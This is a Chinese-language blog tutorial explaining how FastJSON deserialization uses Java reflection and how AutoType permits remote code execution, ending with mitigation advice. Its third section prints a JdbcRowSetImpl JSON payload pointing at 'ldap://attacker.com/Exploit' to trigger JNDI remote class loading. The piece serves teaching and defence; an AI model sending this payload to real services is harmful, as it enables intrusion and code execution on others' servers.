FastJSON 反序列化到底干了啥?一文看懂它是如何利用反射机制的!

FastJSON 反序列化到底干了啥?一文看懂它是如何利用反射机制的!

🔍 剖析FastJSON 反序列化是如何利用的反射机制


📌 一、反序列化是什么?

反序列化(Deserialization):将字符串形式的数据(如 JSON)转成 Java 对象的过程。

举个例子,有一个 Java 类:

 public class User {
     public String username;
     public int age;
 }

如果传入 JSON:

 {
   "username": "www.geekserver.top",
   "age": 20
 }

我们可以使用 FastJSON 自动反序列化它:

 User u = JSON.parseObject(jsonStr, User.class);

但问题是——FastJSON 怎么知道怎么构建这个类?怎么给字段赋值?这时候就用到了 Java 的反射机制。


⚙️ 二、FastJSON 使用反射详细分析

下面我们从零开始拆解 FastJSON 是怎么用反射一步步把 JSON 字符串变成对象的。


▶️ 第 1 步:类加载

FastJSON 首先需要知道要反序列化成哪个类。

  • 如果手动指定类(如 User.class),就直接用;
  • 如果启用了 AutoType,就从 JSON 的 @type 字段中读取。
 // 方式一:手动指定类  JSON.parseObject(jsonStr, User.class);
 Class<?> clazz = User.class;
 ​
 // 方式二:AutoType 动态识别  JSON.parseObject(jsonStr);
 String className = jsonObj.get("@type");
 Class<?> clazz = Class.forName(className);

反射关键点:Class.forName() 动态加载类


▶️ 第 2 步:实例化对象

FastJSON 会用 clazz.newInstance() 创建目标类的实例。

 Object obj = clazz.newInstance();  // 相当于 new User()

反射关键点:默认调用类的无参构造方法。如果类没有无参构造,就报错。


▶️ 第 3 步:遍历字段,赋值属性

FastJSON 会读取 JSON 中的 key-value 对,然后:

  1. 在类中找对应字段;
  2. 设置为可访问;
  3. 强制赋值。

具体如下:

 Field field = clazz.getDeclaredField("username"); // 找到字段
 field.setAccessible(true); // 设置可访问
 field.set(obj, "Alice");   // 设置值

对于多个字段会这样循环:

 for (Map.Entry<String, Object> entry : jsonMap.entrySet()) {
     Field field = clazz.getDeclaredField(entry.getKey());
     field.setAccessible(true);
     field.set(obj, entry.getValue());
 }

🧩 结果:我们就用反射动态生成了一个对象!

 User u = (User) obj;
 System.out.println(u.username); // 输出:Alice

📌总结

FastJSON的反序列化JSON.parseObject(jsonStr, User.class);相当于进行了如下操作:

 // 1. 把 JSON 字符串转成 Map 结构
 Map<String, Object> jsonMap = new HashMap<>();
 jsonMap.put("username", "alice");
 jsonMap.put("age", 18);
 ​
 // 2. 用反射创建对象实例
 Class<?> clazz = User.class;
 Object obj = clazz.newInstance(); // 默认调用无参构造
 ​
 // 3. 用反射给字段赋值(字段名必须和 JSON 键一致)
 for (Map.Entry<String, Object> entry : jsonMap.entrySet()) {
     Field field = clazz.getDeclaredField(entry.getKey());
     field.setAccessible(true); // 解锁私有字段
     field.set(obj, entry.getValue()); // 赋值
 }
 ​
 // 4. 返回强转后的对象
 User u = (User) obj;
 ​

☠️ 三、AutoType 与反射结合后的漏洞原理

我们现在明白了 FastJSON 会:

  • 通过反射 Class.forName() 加载类;
  • 用反射 newInstance() 创建对象;
  • 用反射操作字段,赋值。

✅ 那攻击者可以怎么利用?

如果开启了 AutoType,攻击者就能传一个精心构造的 JSON,例如:

 {
   "@type": "com.sun.rowset.JdbcRowSetImpl",
   "dataSourceName": "ldap://attacker.com/Exploit",
   "autoCommit": true
 }

FastJSON 会:

  1. 反射加载 JdbcRowSetImpl 类;
  2. 调用其构造方法创建对象;
  3. 自动调用 setDataSourceName("ldap://...")
  4. 内部触发 JNDI 请求 → 远程加载恶意类 → 执行代码。

JdbcRowSetImpl 利用链分析 👉 FastJSON × JdbcRowSetImpl 利用链是否还有效?全面解析如何突破 JDK 安全限制-极客星球


💣 四、流程总结

阶段技术说明
🏗️ 加载类Class.forName()反射动态加载任意类(危险!)
⚙️ 创建对象clazz.newInstance()调用无参构造方法实例化
🧩 设置属性field.set(obj, value)设置攻击字段触发危险行为
🧨 利用漏洞类JdbcRowSetImpl自动触发 JNDI 请求
🔥 实现 RCEJNDI + 远程类加载下载并执行远程恶意类

✅ 五、修复建议

防护措施建议
🚫 禁用 AutoType默认关闭 setAutoTypeSupport(true)
✅ 配置白名单ParserConfig.addAccept("com.safe.")
⬆️ 升级 FastJSON推荐 1.2.83+,更强防护机制
🔍 审计日志检查是否存在 @type 字段传入

🧠 六、总结:为什么 FastJSON 漏洞离不开反射?

  • FastJSON 是为了灵活和泛化;
  • Java 的反射机制让 JSON 可以动态适配任何类;
  • 攻击者正是利用了反射的“全能”特性,构造任意对象、注入恶意行为。

© 版权声明
THE END
喜欢就支持一下吧
点赞9 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容